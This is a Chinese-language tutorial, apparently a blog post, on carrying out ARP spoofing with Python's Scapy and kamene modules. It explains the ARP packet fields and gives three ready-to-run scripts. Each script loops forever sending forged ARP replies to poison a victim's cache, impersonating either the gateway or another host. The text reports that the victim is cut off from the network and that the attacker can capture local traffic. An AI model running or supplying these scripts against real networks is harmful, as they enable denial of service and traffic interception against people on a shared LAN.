本文将用Python中的Scapy模块编写。
用一张图简单介绍一下ARP的攻击原理:
这时候,受害者的流量全部经过攻击者机,卖家发给受害者的流量也会经过攻击者机的手上。从而让受害者无法与网关联系,导致流量无法到达受害者机上。而攻击者却能拿到网段所有流量。
ARP数据的详细信息列表:
参数 |
注释 |
Hardware type |
硬件类型,标识链路层协议 |
Protocol type |
协议类型,标识网络层协议 |
Hardware size |
硬件地址大小,标识MAC地址长度,这里是6个字节(48bit) |
Protocol size |
协议地址大小,标识IP地址长度,这里是4个字节(32bit) |
Opcode |
操作代码,标识ARP数据包类型,1表示请求,2表示回应 |
Sender MAC address |
发送者MAC |
Sender IP address |
发送者IP |
Target MAC address |
目标MAC,此处全0表示在请求 |
Target IP address |
目标IP |
这一种写法可以直接调用scapy模块,然后实例化ARP类赋值给arp,然后直接设置源地址和目的地址,如果不设置源Mac地址和目的Mac地址那么默认就是攻击者的Mac地址。
然后来个死循环不断去发包。
如果不会ARP,可以看下这个图。
from scapy.all import *
arp = ARP()
arp.psrc = "192.168.1.1"
arp.pdst = "192.168.1.103"
while True:
send(arp)
还没攻击之前,网关对应的IP地址是正确的。
当我们运行脚本,不断的去发ARP包,不断冲刷ARP缓冲表后
网关的IP地址对应的MAC地址发生了变化,网关地址变成了攻击机 Kali Linux的MAC地址。
此时的受害者机已经无法上网了
第一种写法,我们是以网关的身份发送ARP包给192.168.1.103这个用户,改掉了MAC地址。
第二种写法,可以调用kamene模块,这个模块和scapy模块一样,为什么不用scapy模块?请看 Python的Scapy模块的一个坑 这篇文章。
f
from kamene.all import (
Ether,
ARP,
sendp
)
eth = Ether()
arp = ARP(
op = 'is-at',
hwsrc = "54:27:1E:A2:F4:85",
psrc = "192.168.1.1",
hwdst = "00:0c:29:70:43:e9",
pdst = "192.168.1.106"
)
print((eth / arp).show())
sendp(eth / arp,inter = 2, loop = 1)
先调用kamene模块,导入这个模块中的Ether ARP sendp方法。
然后实例化Ether方法,再实例化ARP方法,并且配置其参数。
然后重载"/"操作符,可以用来表示两个协议层的组合,显示其数据包的结构信息。
再使用sendp方法进行发包,每1秒重复发包,这种方法可能会导致本机也上不了网,因为导致了网络拥堵。
from scapy.all import (
ARP,
Ether,
sendp
)
eth = Ether()
arp = ARP(
op = "is-at",
hwsrc = "ff:ff:ff:ff:ff:ff",
psrc = "192.168.1.106",
pdst = "192.168.1.101"
)
print((eth/arp).show())
while True:
sendp(eth/arp,inter=2,loop=1)
这种方法,我们可以直接以攻击者和客户之间的欺骗,这种方法并没有欺骗用户网关的MAC地址,而是欺骗了我攻击者的MAC地址。
也就是得出了一个结论,我们既可以通过网关的身份去欺骗用户,也可以通过客户与客户之间的欺骗。如果不写欺骗的MAC地址,那么默认就是攻击者的MAC地址。